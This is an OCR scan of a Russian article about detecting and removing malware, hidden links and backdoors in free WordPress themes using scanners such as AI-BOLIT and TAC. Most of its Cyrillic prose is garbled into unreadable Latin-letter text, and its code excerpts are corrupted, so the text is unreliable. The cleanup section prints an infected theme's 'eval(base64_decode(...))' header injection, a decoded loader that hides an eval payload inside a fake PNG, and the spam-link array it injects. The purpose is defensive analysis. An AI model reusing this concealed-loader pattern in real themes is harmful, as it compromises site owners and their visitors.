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BBeaenue

JTroboti Tpyg ctouT aeHer. Co3zanue 1m1aboHa B ToM urcsie. [Toatomy cBobogHOe (becriaTHOE)
pacrpocTpaHeHre MOXKeT TIPOUCXOJUTh B HECKOJIbKUX OUEBUHBIX C/Tydasix:

1. PexnamHoe
2. BopoBaHHOe
3. 3noBpefHoe

C peK/laMHBIM TTOHATHO — OeCIIaTHbIe WK Ype3aHHbIe BePCUU JA0TCS /ISl 03HAKOMJIEHHS C
BO3MOKHOCTSIMU 111aB/TOHOB, C 1]e/Tbi0 3aMaHUTh Ha MOKYTIKY TIJIaTHOU BEPCHM.

C BOpOBaHHBIM TOXKe Oojiee-MeHee TIOHSATHO — eCJTH MPOCTO TaK A0CTa0Ch, TO Yero 6 MpoCTo Tak
U He nogenuThcst. Ho HacTosiiue PoouH ['yapl BCTpeuaroTcsi He uacTo.

A BOT 3710BpeiHOE BCTpeuaeTcst moBceMectHO. Camble pa3iMuHble COOPHUKY, pa3ziaud HUH MPOCTO
CBaJIKM Kak Obl OecriyiaTHbIX 111a6/I0HOB Ha CaMOM /iefie UpeBaThl BCTPOEHHBIMU SIBHBIMU U
CKPBITBIMH CCBIJTKAMU, BUPYCaMH, 1iesijiaMy U Oekgopamu. C BIIOJIHE OUE€BUAHOM 11e/TbI0 YKPACTh
JOCTYTI K BallleMy CaUTy WK cepBepy, YTOObI HalMxaTh B HETO CBOel peK/laMbl UK IOPBEEB,
TiepeHarpaB/isATh Balll TpadUK WU Ce/laTh MPOKCU-CepBep.

[To3TOMY KO BCEMY, UTO PaClpPOCTPAHSIETCSI TIPOCTO TaK — HY’KHO OTHOCHTCS C ZI0JIel 310pOBOM
TI0/{03PUTE/TBHOCTH.

[To pe3ynbraTam McciefoBaHUM revisium.com, U3 2350 GecriaTHbIX PyCCU(ULMPOBAHHBIX
Bopanpecc mabnoHoB, 54% copepskay 1esuibl, 6eK-/10pbl, ieBble CCHUIKA U MTPOUHe YsI3BUMOCTH U
raloCTH.

Tembl 1 11a6710HBI A71s1 Wordpress cKauuBasu € TIOMY/ISIPHBIX CalTOB-KaTaI0roB, Mpe//iararoiux
PYCCKOSI3bIYHbIE TIPEMUYM U TeMaTh4eCKHe 1abIoHbI:

best-wordpress-templates.ru (99% 3apa)keHHBIX WK YSI3BUMbIX TEM)
wordpress-ru.ru (99% 3apa>keHHbIX WU YSI3BUMbBIX TE€M)

wpfree.ru (97% 3apakeHHBIX WU YA3BUMBIX TEM)

wpfreethemes.ru (16% ysI3BUMBIX TeM)

bestwordpress.ru (7% ysi3BUMBIX TeM)

ok W

wordpresso.ru (3% 3apa’keHHbIX TeM)

IanHbIe caiiTbl ObLTM BEIOPAHBI KaK Hanbosiee TIOMy/IsipHbIe, TIOCKO/IbKY HAaXOSTCS T10 3arpoCcy
“BecruiaTHble TeMbl /17151 wordpress” B TiepBOii ZiecsSiTKe B pe3y/ibTaTaX MOMCKOBOW BbIJJauM.
[To rpyOBIM OljeHKaM, CyMMapHOe YHC/I0 CKaYaHHBIX 3apakeHHBIX TeM — 6osiee 500 000.

Ho u niarHbie 111ab/10HBI TOXKe MIePHOJUYeCKH «TPelliaT» MOCTOPOHHUM Ko/ioM. K ripuMepy
themeforest.net — 3To He CTyAMs 10 pa3paboTKe 111ab/I0HOB, a TOProBast TUIOIIAZKa, COZep Kaliast
nouty 17 ThIC. 11a6JI0HOB U Aarolijasi BO3MOYKHOCTh JIF0OOMY aBTOPY BBICTaBUTh Ha MPOJaXKy CBOe
TBOpEHMeE. A 3TO 3HAUMT, UYTO €C/IM XOPOILIEeHBKO U MOTTy0sKe 3arpsTaTh rafiloCTh, TO MOXKHO MPOZAATh
Y 3apa’KeHHbIN 111a6/10H (10 MepBBIX >Kasiob Mmosib30BaTesiei).

[To3ToMy Ja)ke €C/Iv Y BaC 3a/iaua C/iejiaTh BCETO OJWH CAWUT W UCII0/Ih30BaTh BCErO OWH I1a0/I0H —
HaBBIK IMarHOCTUKH, 0OHAPY)KeHMs], 3al[UThl 1 O0PBOBI OyzeT KpaiiHe IoJie3eH.



OOHapyxeHHe 3apa)KeHHbIX (paii/ioB

Cawmbl1ii ipocToi ¥ 3¢ eKTUBHBIN crIoco0 0OHAPYKUTh 3apa’keHKe- TPOCKAaHWPOBATh apXUB
aHTUBHUPYCOM. MHOrMe BUPYChI U 1IeJ/Ibl UMEIOT XapaKTepHble CUTHATYphI (1I0C/1ej0BaTe/IbHOCTH
KO/IOB) U OTO3HAKTCS aHTUBUpPYyCcaMu. T.K. 4aCTO B HACTPOMKaX CKAHWPOBAHUS 110 YMO/TYaHHUIO
CTOUT UTHOPHPOBAHKUE COZIeP’KUMOT0 apXUBOB, yOeauTeCh, YTO apXyB IIPOBEPSIETCS MTOTHOCTBHIO.

COMODO AHTHBMpPYC
F

BEpenocHocHoe MO ocTaHOEBNEHO

Malware@#ph9tir2a7atm

Elopensernveridomainsiocalhostidemowso.php

7] CkphiBaTE 3TH ONOBELWEHWA

A B HEKOTOpBIX C/TyuyasiX aHTUBUPYC Jja’ke He M03BOJIUT CKauaTh 3apa’keHHbIN 11ab/I0H, ec/ii B HeM

SIBHO TPOSIH.

ESET Endpoint Security - X

Obnext:

o http://linkzquickz.com/new/strata_1.0.zip
¥rpoza:
PHP/Alter.A TpoAHCKaA Nporpamma
Wudopmanmn:
COEAMHEHWE NPEPEAHO - MICAWPOEAH

Ho ecsi 111a6/10H 3apsiKeH JIeBBIMU CChTKAMU M PEK/IAMHBIM KOZIOM- 3TO 3a BUPYC He CUMTAeTCs U
TPeBOTH He OyzeT.

[TosToMy BOCTIONB3yeMCsl JMAarHOCTUPYIOILIIMMU CKPUIITaMHU.

[TepBoIii — 3170 RWP Checker, crieniaibHO CO3/IaHHBIN /IJ1s1 SKCITPeCC-TIPOBEPKH 111ab/1oHOB. OH
rpoberaeT 1o Marnkam caiita, repedbupaeT coziep>kumoe (haiioB U UIET orpesiesieHHbIe
T0C/Ie/I0BAaTeIbHOCTU KOZIa, KOTOPbIe MOTYT ObITh ITOTE€HI[UA/ILHO OTTaCHBIMHU.

KauaeTe mocsiejHIOI0 Bepcuio oTcrofia http://revisium.com/rwp/ u korupyeTe daiin
rwp_checker.php B kopeHb cBoero caiiTa. 3amyckaeTcsi CKpUIIT COOTBETCTBEHHO T10 CChI/IKe

www.site.ru/rwp_checker.php 1 noka3biBaeTcsi Takasi KapTHHa


http://revisium.com/rwp/

Revisium Wordpress Theme Checker v20140824

WWW.revisinm.com - JledeHAe H 3aIIATA CAHTOR

Tlogozprrenersx daiinor vHe HafigeHo. Ha Bcaxmii cny=ali mpoeepeTe Bech calit ckamepom AI-BOLIT.

Ecnu 3T0 Tak- 3HaUuT CKOpee BCero BCe B IMOpAAKe. Ho He Q)aKT, T. K. BO3BMO>XHbI Pa3HbI€ IMTPUKOJIBI.

Revisium Wordpress Theme Checker v20140824

WWW.revisinm.com - JledeHHe H 3aIATA CAHTOB

wp-content/themes/magazine/ functions. php
wp-content/themes,/business-guru/header. php
wp-content/themes/CarStar/functions php

PeromeHIyeM Talke IPOBEPHTE Bech calit ckadepoM AI-BOLIT.

A BOT B 3TOM C/lyuae sIBHO He BCe B IOPsi/IKe — TPH I11abyioHa C TpeMsi Pa3HbIMU T10/]03pUTe/TbHBIMU
(parmenTamu Kozia ( 11ab/IOHBI KaK pa3 //isk IeMOHCTpaLlMY B3SThI ¢ best-wordpress-templates.ru,
wordpress-ru.ru u wpfree.ru)

Camu 1o cebe 31 php QyHKILIMU COBEpPILIEHHO Oe3BpeHbI, TPOCTO UCTOPHUUECKHU CJIOKHUIOCH TaK,
YTO C UX TTOMOII[bF0 MO>KHO BBITIO/IHATE pPa3Hble [IEHCTBHS, B TOM UKC/I€ U HallpaB/eHHbIe Ha
3apakeHue 111a0/I0HOB JTMOO Ha BCTABKY CCHIIOK.

HOSTOMy €C/IM B KO/ie BCTpeudeTCsd ornpeae/jieHHads 1ocieioBaTeJIbHOCTb — obeTcs TpeBOra.

'/ CMTHARTVRHE BAE TRM

E£fragments[] = '£link

S£fragments[] = '

Sfragment=[] = 'eyal

S£fragments[] = 'eval /! TATHHSCEMS SHaM-SONIEM B GVISRS

S$fragments[] = 'gyal(l f/ grammueckMe coHNEM B canpbape

S$fragments[] = 'gyal / tp_get_links, 3aTRY3K3 GOHOK XaX ISS (Xml) ¥ 3aMesa & OyTeDs
$fragments[] = 'gyal // tp_get links, 33IDY3ka GEHAGE Kak nss (3ml) ¥ 3ameHa B GWTIERS
S$fragments[] = 'gyal (l ;A B EQBS OROBEREY JTMUSHIMM BECTARNADTCH CORTTRL

§fragments[] = 'gyall CTATHMHEGEME COHIEM

$fragments[] = 'gyail ("« "\'" . 'http://! '/ Baxack B hlodontion

Sfragments[] = '$000000 '261': // coMuEM B VTSRS

Efragments([] = 'eyal (i

ffragment=[] = '

Sfragments[] = 'Sdefaul

XOTb CKPMIIT-CKaHED 1 TIO3UL[MOHHPYETCS Kak cKaHep WP 111a6/I0HOB — Ha caMOM [iejie OH
YHUBEPCAJIeH U er0 MOYKHO MCITO0/Ib30BaTh Ha JTFOOOM JIBMKKE /17151 ObICTPOM AUarHOCTUKU. [Ij1st
OoJsiee MOJTHOTO aHa/IM3a CTOUT MPUMEHSITh TIOTHOIIeHHbIH cKaHep AI-BOLIT, kauaTh oTCrozia
http://revisium.com/ai/ .



http://revisium.com/ai/

OH cogepxuT B cebe ropa3zo 6osee ToHbIe U TIOAPOOHBIE OUOIMOTEKN CUTHATYP /ISt Pa3HBIX
JBYDKKOB M MX Pa3HBIX BEPCHIA:

* opencart
* ocstore
* joomla

e wordpress
e drupal

e instantcms

o dle
e  Dbitrix
e modx

* oscommerce
* ipb

* webasyst

OpHaKo U BCe OCTaJbHbIe IBWKKU JOCTAaTOYHO YCIelIHO CKaHHUPYIOTCs. HeocTaTkoM sIB/isSieTCs ero
«TIPO’KOPJIUBOCTD» - MU TIIaTe/IbHOM aHaiu3e (haiijioB caiiTa, MOUYTH BCerJa BbIBaTMBAETCS
omubKa TaiiM-ayTa, T. €. CKPUIIT He yCTieBaeT KOPPEKTHO 3aBepIIUTh CBOK paboTy 3a Bpems,
BbI/le/IeHHOe JTUMUTaMU XOCTUHTa. [103TOMY /Tydllie BCero ero 3amyckaTb Ha JIOKa/IX0CTe, a TO
YBU/IUTE TaKoe:

Internal Server Error

The server encountered an internal error or misconfiguration and was unable to complete your request.

C zpyroii CTOpPOHBI, /11 KOPPEKTHOTO 3arycKa Ha JIOKAJIXOCTe TaKKe TpeOyeTcsl oUrparhbest
HaCTPOMKaMU JIOKA/IbHOTO CepBepa, UTOObI CKPUIIT KOPPeKTHO paboTari, 1o3ToMy eciiv cpasy He
TIOJTYUUTCSI- HE PaCCTPauBaMTeCh, eCTh allbTePHATHBHBIE CTIOCOOBI OOHAPYKEHMS.

[nst aHanu3a caliTa Hy»)KHO CKOTIMPOBAaTh COJieP>KUMOe Tarku ai-bolit B KopeHb caiiTa, a Takke
CKOTTMPOBATh TyZa COZIEP>KUMOe TIarKH C (paiiylaMu COOTBETCTBYIOIIMMU BallleMy ABMXKKY. Eciu
HY)KHbIX (haiiyIOB HeT, TO CKpUNT paboTaeT u 6e3 HUX.



st Wordpress 4.0 ckorvpoBaHHbIe (Daii/bl BBIIIAAT BOT TaK:

| [wp-admin]

| [wp-content]

| [wp-indudes]
|| .aignare
|_|.aknown wpd_0
|_|.aurlignore
|| ai-bolit php
| |AI-BOLIT-DOUBLECHECK php
|_|index php
| |license tut
|&| readme hirnl
|_|rwp_checker php
|| wp-activate php
|| wp-blog-header php
|| wp-comments-post php

wp-config php

Hanee B camoMm (aiine ai-bolit.php Hy)kHO mpornvcaTh apo/b AOCTYyIa, HallpUMep Tak

29 // Put any strong password to open the script from web
30 // BymmTe BMEGER Dut any strong password here gnomundl OaRoab
31 define('PASS', 'egegergergergl3');

Y BbI3BaTh CKPUIT I10 CChLIKe www.site.ru/ai-bolit.php?p=egegergergerg23

,[[J'[H CBE)XK€YCTAHOBJIEHHOI'O UUCTOI'O ABHUXKKd 0e3 111a0/I0OHOB U TJIarMHOB BCe BBIIVIAOUT BOT TdK

Otuer no localhost

Beero nposepeto 0 gupekTopui w 0 dainos.

BHUMEHWE, CKRUNT BbiNoNHUN GbiCTPY0 NPOBEPKY caiTa. NPOBEPAINTCA TONEKD HAWGONEE KPUTHYECKHE Maiinkl, HO YACTL BPEOOHOCHLIX CKPUNTOB MOMET GbiTe HE 0OHAPYHEH.
Nogpotree cmoTpuTe & FAQ sonpoc M1,

KvaITPITLI €CKHEe 3aMeYaHHuA

IITe.LT-CKPHIOTEL He Hafi[e kL.
He HaleHO JHPeKTOPHIL ¢ JOPEEAMH

[Ipenynpexnenus

BepcHu HalifeHHBIX CMS:

Co Bcemu HaﬁAEHHBIMH 3dMeUdHHAMU U MpeayIrpexx 1eHUAMU HY>KHO pa36I/IpaTbC$I — UTO JIO’KHOEe

cpabarbiBaHue, a UTO — peKOMeHJalus K JeCTBUIO.
[MoapobHasi MHCTPYKIMS 10 YCTAaHOBKE, HACTPOMKe U 3aIyCKy CKPUIITA eCTb Ha CaiiTe aBTOPOB

http://revisium.com/kb/scan site windows.html

W3yualiTe 1 IpuMeHsiiiTe.


http://revisium.com/kb/scan_site_windows.html
http://www.site.ru/ai-bolit.php?p=egegergergerg23

JTnarHocTuka mab/10Ho0B Wordpress

st nuarHocTrpoBaHusi wordpress 111a0/I0HOB eCTh Psif TJIarMHOB, cambli TomysisipHeiid TAC

Theme Authenticity Checker YCTaHOBWTE
(TAC)

Aetanwn

*5can all of your theme files for potentially
malicious or unwanted code ®

Asmop: builtBackwards

***** (73) O6HoBNEHWE: B MECALEE H33a4

350 169 ckaunBaHWIA He TecTWpoBanca ¢ Eaweid eepcveld WordPress.

ITocne ero dKTHUBALIMKU BO3J1€ KaXKJ0I'0O m1ab0Ha BBIBOJUTCSA KPATKAsA HHQ)OpMaL[I/IH 0 HaﬁAEHHLIX
(bpal"ME‘HTaX He)Xe/laTe/JIbHOI'O KOo/ia

MagazinePlus 1.0 by Fl'hemes

‘ Encrypted Code Found! ‘ 4 Static Link(s) Found...

wp-contentthemes/MagazinePlus/functions.php [Edit]

Line 106: "bass64 decode ($wp theme globals)):Spage=mdS5(S$..."

wp-content/themes/MagazinePlus/footer.php [Edit]

| <a href="http://wordpress.org/"><strong>WordPress</strong></a>

wp-contentthemes/MagazinePlus/functions.php [Edit]

<a href="http://fthemes.com™ target="_blank"><img src="http://fthemes.com/wp-content/pro/b2.gif" alt="Free WordPress
Themes" title="Free WordPress Themes" /></a>

<a href="http://fthemes.con" target="_blank"><img src="http://fthemes.com/wp-content/pro/bl.gif" alt="Free WordPress
Themes™ title="Free WordPress Themes" /»</a><a href="http://freewpthemesblog.com” target="_blank"><img
src="http://freewpthemesblog.com/wp-content,/pro/fwt.gif" alt="Free WordPress Themes" title="Free WordPress Themes" /></a>

<a href="hctp://fthemes.con” target="_blank"><img src="http://fthemes.com/wWp-content/pro/b3.gif" alt="Free WordPress
Themes" title="Free WordPress Themes" /></fa>

PBTheme 2.0.1 by IM Success Center

. ‘ Encrypted Code Found! ‘

wp-content/themes/pbtheme_/functions.php [Edit]

Line 380: "base6¢ encode (addslashes (serialize ($compresse..."

Line 386: "base6%_decode (strtr(§encrypted, '-_,', '#/=")..."

| Line 390: "base64 encode (addslashes (serialize ($compresse..."



Kpome 3T0Oro ecTs njiarvHbl aHTUBUPYChI, CAMbIM IMOMY/ISAPHBIM Antivirus, KOTOPbIX MO3BOJISIET
TIPOCKaHUPOBATh (paiisibl TeKYyILlel aKkTUBHOM TeMbl, a TaK)Ke BBITIO/IHATh Pery/sipHOe eXXeJHeBHOe
CKaHMPOBaHHE M COOOIIaTh Ha eMeiis, eC/Ii BAPYT MPOMU30LIJIO UTOTO HEXOPOILIee.

AntiVirus

Useful plugin that will scan your theme Oetanu
templates for malicious injections.

Automatically. Every day. For more blog

security.

Asmop: Sergej Miller

****ﬁ (112) O6GHoBREHKWE: 3 HEASNW HaZa]

680 134 cKkauMBaHWA v COBMeCTUM C BalLel eepceild WordPress,

Ecu Bapyr cpabaTtbiBaHUe JIOXKHOE, TO Ha)kKaTheM KHOTIKH «There is no virus» (3To He BUPYC)
MOYKHO CKDBITB TIpeAyTIpeX/ieHue, 4YToObI B a/TbHeMIIIeM Ha HerO He OTBJIeKaThCs.

fthemes/betheme/functions/meta-portfolio.php fthemes/betheme/functions/meta-post.php fthemes/betheme/functions/meta-slide.php
fthemes/betheme/functions/meta-testimonial.php

fthemes/betheme/functions/theme-functions.php

There is no virus

$output .= "<iframe class="scale-with-grid" src="http'. mfn_ss1() ...

There is no virus

$output .= "<iframe class="scale-with-grid" src="http'. mfn_ss1() ...

fthemes/betheme/functions/theme-head.php fthemes/betheme/functions/theme-mega-menu.php
fthemes/betheme/functions/theme-menu.php

/themes/betheme/functions/theme-shortcodes.php

There is no virus

$output .= "<iframe class="scale-with-grid” width="". $width .'"

There is no virus

$output .= "<iframe class="scale-with-grid” width="". $width .'"




A BoT B 3TOM Ciyuae — 100% nop3puTenbHbINA KOA!

fthemes/business-guru/404.php /themes/business-guru/archive.php fthemes/business-guru/comments.php /themes/business-guru/footer.php

fthemes/business-guru/header.php
There is no virus

<!DOCTYPE html> <?php eval (base64_decode('IGYIZGlybmFtZShTX2ZpbGVTXykulyap ...

There is no virus

.. TYPE html> <?php eval(base64 decede ('JIGY9ZGLlybmFtZShTX2ZpbGWTXykulyIpbWFnZxMvd3 ...

There is no virus

1GY9ZG1ybmFtZShTX2ZpbGVTKykulyopbWFnZ2XMvd 3BFbiVudVoeb3AucG5nIzskYj1nZXRTb3BBaWIUKCd3cFOBaGVLZVItZWS 1X2Zpcni@lyk7alYgKGZpbGWF ZXhp e 3RzKCRMKSBhbmQgI SR

Y Antivirus ects HeOOBIIION HEAOCTATOK, OH CKaHHUPYeT TOJIBKO aKTHUBHBIH 1mabioH. Ecim kpome
HEro ecTb ellje HeCKOJIbKO — OHU He OyayT npoaHamm3upoBansl. [Tnarua WP Antivirus erre He
TaKOM MOMY/IsSIPHBIH, HO MO3BOJIsieT CKAHUPOBaTh BCe (haiisibl Ha caiTe.

WP Antivirus Site Protection (by

SiteGuarding.com) fetann

Adds more security for your website,
Server-side scanning. Performs deep website
scans of all the files. Virus/Malware detection
and remaovwal.

Aemop: SiteGuarding.com {SafetyBis Ltd.)

***** (5) O6HoeneHWe: 1 HeNenA Hazan

11 110 ckaurBaHniA ¥ CoBMecTWM C Bawei sepcreil WordPress.,

BeIBozsITCSI BCe 0OHapy»KeHHbIe MO/[03pUTeIbHBIe (aiiiibl, Aaxe datin ckpurita ai-bolit emy Takum
ToKa3sascsi (M3-3a TOro YTO B alibO/UT BK/IIOUEHb! (hparMeHTh! KOJJOB KakK 00pasLibl J/ist
oOHapy’KeHus).



Antivirus Scanner Report

Total Scanned Files: 3122
Total Infected Files: 1

Infected File Malware Type

fwp-content/themes/business-guru/header.php base@d.inject.unclassed.7

Immediate Action is Required. Your site appears to be hacked. Hacked sites can lose nearly 95% of your traffic in as little as 24 to 48 hours if

not fixed immediately - losing your organic rankings and being blocked by Google, Bing and man er blacklists. Hacked sites can also

expose your customers and readers private and finandial information, and turn your site into a host for dangerous malware and illicit material,

creating massive liability.

Heuristic Logic Report

Heuristic algorithm has the capability of detecting malware that was previously unknown. It doesn't give 100% guarantee that
the file is the virus and requires manual review. If these files are not a part of plugins, extentions or website, delete or block
them.

If some of the files are listed above in Antivirus Scanner Report, it's 100% file with malware inside.

If you are not sure, you always can contact our support and we will analyze the files.

Total Scanned Files: 3122

Total Unsafe Files: 4

File with malicious codes
fwp-content/themes/business-guru/header.php
fwp-content/plugins/envato-wordpress-toolkit/includes/dass-envato-backup.php

fai-bolit.php

OpHako GecriaTHasi BepCHsi UIMeeT OTpeZie/ieHHble OrpaHUueHMs], I03TOMY B IIaHe OecriyiaTHOMN
[JVarHOCTUKU OJIMH U3 CaMbIX JIyUIIUX pe3y/asTaToB Bce ke gaeT TAC.

BriOupasi aHTUBUPYCHBIH TJIarKH CJielyeT PyKOBOACTBOBATHCS HECKOTBKUMH KPUTEPUSIMU: YacTOTa
00OHOBJIEHUST ¥ KOJTUUECTBO T10/Th30BaTesieli. UeM yairie riaruH 0OHOB/ISIETCSI- TeM OH jiydiiie. Yem
Oosibllie y HETO T0JIb30BaTe el — TeM OH Jiyuilie. T.K. ObicTpee TOsIB/sIeTCs MHPOPMAIHs O HOBBIX
BUpPYyCaX W ornepaTvBHee 00aB/IseTcs.

Kpome MpocThIX CKaHePOB, CYILeCTBYIOT Lie/ibl KoMOaliHbl, BK/IIOUaroliie B cebst (haepBoOJIbI,
CKaHepbl (aiiioB, MOHUTOPBI aKTUBHOCTH, 3allUTy aBTOpH3alivii, pe3epBHOE KOMTMPOBaHue U T. II.
Taxkum 06pa3omM MbI CMOKEM peIluTh Cpa3y /iBe U3 TpeX 3a7iady — oOHapyKeHHe 3apaXkeHHe U’
3aluTa OT B3/I0Ma.

Cawmas rnaBHast paboTta Bce paBHO OCTaeTCsl HaM — BBIUMIIATE 111a0/IOHBI CKPUTITI HE YMEIOT :)
[To3TOMY TIOZIBE/IeEM HEeOOJBIIION UTOT U CO3/Ia[iM Ce0e TIOIIaroBbIH T/1aH JAeHCTBHUM:

1. MBsI goctami\Kynumi\cKadasy 11abmoH

2. TIpoBepuTh Ccofep)XMMOe apXyBa aHTUBHUPYCOM Ha KOMIIbIOTEpe

3. YcTaHOBUTH €ro Ha CaWT, aKTUBHMPOBaTh U NpoBepuTh TAC WM ny1aruHOM-aHTUBUPYCOM



4. TIpockaHupOBaTh CaUT cKpurToM rwp_checker

B pesynbrarte Mbl yOeguMcsi, UTO BCe B TIOPSi/IKe WJIM >Ke TIOIyUrMM Ha3BaHUsI OFJHOTO WU
HeCKOJIbKHX (Paii/ioB, KOTOPbIe HY’KHO OyZleT TPOBepUTh BPYUHYIO.



YucTKa 11ad/1oHoB

Iyist ;eMoHCTpaLyKy ObUTH B3SITHI U3 OTKPBITHIX UCTOUHUKOB TISITh OeCIiyiaTHRIX 111ab0HoB. OfvH 13
HUX — WP Strata npubui aHTUBUPYC Cpa3y ke U laxke He Jja/l CKauaTh, II03TOMY Ji/Isl IPUMepa
pa3bepeM ocTaBIiHecs 11abI0HBI, HA KOTOPbIe He CpearupoBat:

business-guru (http://www.wpfree.ru/biznes-shablon-wordpress-business-guru/)

CarStar (http://wordpress-ru.ru/themes/obshhie/4572.html/)
magazine (http://best-wordpress-templates.ru/magazine/)
MagazinePlus (http://fthemes.com/demo/MagazinePlus/)

[asee nenaeM Bce 10 MHCTPYKLIUM, IPOBEPSieM CKPUIITOM U TJIarUHOM.
RWP Checker 3ameTun Hexopoliiee B Tpex u3 HUX, MagazinePlus nocunran uncTbiM.

wp-content/themes/'magazine/ functions. php
wp-content/themes/business-guru/header php
wp-content/themes/CarStar/functions php

TAC ToXe 3aMeTH/I HEXOPOLLIee B TPeX, TOJILKO YMCTBIM MocurTan Magazine.
Business Guru 1.4 by Template Grath

Encrypted Code Found!

Carstar 1.0 by NewWpThemes.com
- 7 Static Link(s) Found...

Magazine 10.4.2 (based on GavernWP 1.9.2) by GavickPro

MagazinePlus 1.0 by FThemes

Encrypted Code Found! 4 Static Link(s) Found...



http://fthemes.com/demo/MagazinePlus/
http://best-wordpress-templates.ru/magazine/
http://wordpress-ru.ru/themes/obshhie/4572.html/
http://www.wpfree.ru/biznes-shablon-wordpress-business-guru/

T.e. 9TO TOBOPHUT O TOM, UTO HeJIb35 ZIOBEPSATH KaKOi JIMOO OIHOM MTPOBEPKe, HY>KHO MPOBEPSTH
KOMIL/IEKCHO!

Pa3oupaem Business Guru

Ectb npeaBapuTenbHas HPopMarLusi o ToM, 4to header.php cozepkuT 1ofj03puTe/bHbIN KOf,
rnocMoTtpuM ero. [lsist pabor c ¢aiisiom (MpocMOTp U pefjlakTUpOoBaHre) pekomeHayto Notepad++
(http://notepad-plus-plus.org/download/v6.6.9.html ): mopcBeTka Kozja, KOppeKTHasi KOAMPOBKA U

T.I1.

<?php
* The Header for our theme.
>

<!DCCTYPE html> <?php eval (base64 decode (

<html <?php language attributes(): ?>>
<nead4
<meta charset="<?php bloginfo('gharact'): 2>" />
<meta name="yigwpert" content="width=device-width">
<title><?php wp title('|', true, 'right'); ?><?php bloginfo('name'); ?></title>
<link rel="pinghack" href="<?php bloginfo|('pingback url'); 2>"

Buaum hparMeHT Kojia, 3aKOIMPOBaHHbIN B base64, packoJjMpyeM ero C MOMOIIbI0 OHJIAMH-
nekozpepa https:// www.base64decode.org/

Decode from Baseb4 format

Simply use the form below

GY9ZGlybmFtZShfX2Z pbGViXykuly9dpbWFnZXMvd3BWWudV9I0b3AucGsnlzsk
Y 1nZ¥Rb3B0aWIuK Cd3cFI0aGVtZVIIWS1X2ZpenMOJyk T aWy gk GZpbGWZXh
pc3RzKCRmKSBhbmQglSRiKXskZnAgPSBmb3BlbigkZiwicilpOyRzID0gZnJYWQ
oJGIwLGZpbGWzaXplKCRmKSKTZmNsb3NIKCRmcCkTZXZhbCgnl GO9JySneny/u
Y29tcHJle3Moc3RyaXBzbGFzaGVzK CRzKSkulzsnKTskaTASJG1bMFO7TJGkxPS
RtWzFdOyRpMj0kbVsyXTskaTMIJG1bM1 07dW5zZXQoJG1bMFOsJG1bMVDsJG

1bMI0pO3MNodWZmbGUoJG0pOyRjc1swXT 0kaTAu)GlxLiIRtWzBdLIRpMid kbV sxX
S4kaTluJG1bMI0uJGkz OyRjc1sxXT0kaTAUGRxLIRtWzMNdLIR pMidkbVs0XS4kaTl

uJG1bNYOuGkz O2FkZF Sve HR pb240J 3dwX3RoZW1X211bnVEZmlyc 3QnLGJhec 2l

2MNFIbmMNvZGUoJGMNzWzBdK Swnlywnbm8nlCk Y WREX29wdGlvbignd3BfdGhib  _

< DECODE = UTF-8 IZI (You may also select input charset )

St=dimame(__file_ ).Vimages i
fwp menu_top png’:Sb=get_option('wp_theme menu_first'):if (file_exists($f) and
I5b){5fp = fopen(Hf."r")ds =
fread(3fp.filesize(3f).fclose(3fp):.eval(5m="gzuncompress(stripslashes($s))."
):5i0=3m[0];511=5m[1];5i2=3m[2]:5i13=3m[3];unset(3m[0],5m[1].5m[2]);
shufle($m);5cs[0]=5i0.5i1.5m[0] 5i2 $m[1].5i2 $m[2].5i3;5cs[1]=5i0_5i1 5m[3] 5i2.
$m[4].5i2. $m[5].5i3; -
add_option{wp theme menu_first' basebd encode($cs[0]),”, no’

);add_option{wp theme menu_second basebd encode(bcs[1]),”.'no’ ) function

fn({if((is_home())&&(is_paged())) -

m

m


https://www.base64decode.org/
http://notepad-plus-plus.org/download/v6.6.9.html

KornmpyeMm packogypoBaHHBIN KOZ, U IbITaeMCs ITOHATh, YTO TaM 3anuxas aBrop. Eciu coBcem
YTIPOLLIeHHO, TO CKPUIIT MIPOBepsieT Ha MecTe Jiv ¢aiis /images/wp_menu_top.png, a TOTOM UKTaeT
ero cozepxuMmoe. /1 oTom BCTaB/IsieT COAEPXKUMOe Ha CauT.

W 3auem um mipocTas KapTuHKa? M 3To He npocTasi KapTUHKa?

[TbITaeMcsi MOCMOTPeTH 3TO U300pa’keHre B MPOCMOTPILMKE - a He TIOy4YaeTcsi, BbilaeT coo0IIeHre
00 ommbke, Mon (aiin n306pakeHust moBpexxaeH. T.K. Ha caMOM [ieJie 3TO He U300pakeHue, a aii
C BCITIOMOTaTe/IbHBIM KO/IOM, 3aMaCKUPOBAHHBIN TI07l KapTUHKY WpP_Mmenu_top.png.

Eciy BeITalMTE €ro Coflep>KUMOoe U pacKOAUPOBATh , TO YBUJUM TaKyl0 KapTHHY- MaCCUB CCHIIOK,
13 KOTOPBIX BBIOMpaeTCs CiydyaiiHast ¥ BLIBOAUTCS Ha CaiiTe B BUZie CKPBITOTO (HEBUMMOTO)
BUKeTa «COBETYHO TTOYMTATh»

Lrray

(
[0] ==
[1] => <div class="widget" style="display:none;"><h3 class="widgettitle">Coeerymn nounTaTre<,/h3><ul><li>
[2] => </li><1li>

[3] => </lir</ul></div>

[4] => <a href="http://www.med2.ru/">Memumscrre HoBooTH< a>

[5] => <a href="http://www.medZ.ru/index.php?category=allergology">Aunepronormna</ax

[6] => <a href="http://www.med2.ru/index.php?category=alrernativensedicine">ANeTepHATMEEER MeMMUMHA<,/A>
[7T] => <a href="http://www.med2.ru/index.php?category=ansesthesiclogy " >AHecTeIMOIOTHAL,/ a>

[8] => <a href="nttp://www.med2.ru/index.php?category=gastrosnterology " >TacTposHTEpONOTHAS /a>
[9] =» <a href="http://www.med2.ru/index.php?category=gynaccology">TUHeRoNOTHMAL /Al

[10] =» <a href="http:,//www.med?.ru/index.php?category=dermatology">IepMaronormas,/a>

[11] => <a href="http://www.med2.ru/index.php?category=infecticusdiseases">Muderumonsns safonesanma</a>
[12] => <a href="http://www.med2.ru/index.php?category=cardiclogy">Kapmonorua</a>

[13] => <a href="http://www.med2.ru/index.php?category=neurclogy">Heeponmorua<,/a>

[14] => <a href="http://www.med?. ru/index.php?category=oncology">0OHRONOTMAESfax

[15] => <a href="http://www.med?.ru/index.php?category=paediatrics">legmarpmad/a>

[16] =» <a href="htctp://www.med?.ru/index.php?category=psychiacry">Icuxmarpmuad/a>

[17] => <a href="htcp://www.med2.ru/index.php?category=pulmonclogy " >IyneMoHoaorua<,/a>

[18] => <a href="http://www.med2.ru/index.php?category=rheunatology">PeEMaTonoruas,/ax>

[19] => <a href="http://www.med2.ru/index.php?category=stomatology " >CroMaTorormas/a>

[20] => <a href="http://www.med?. ru/index.php?category=traumatology">TpasMaronorma</a>

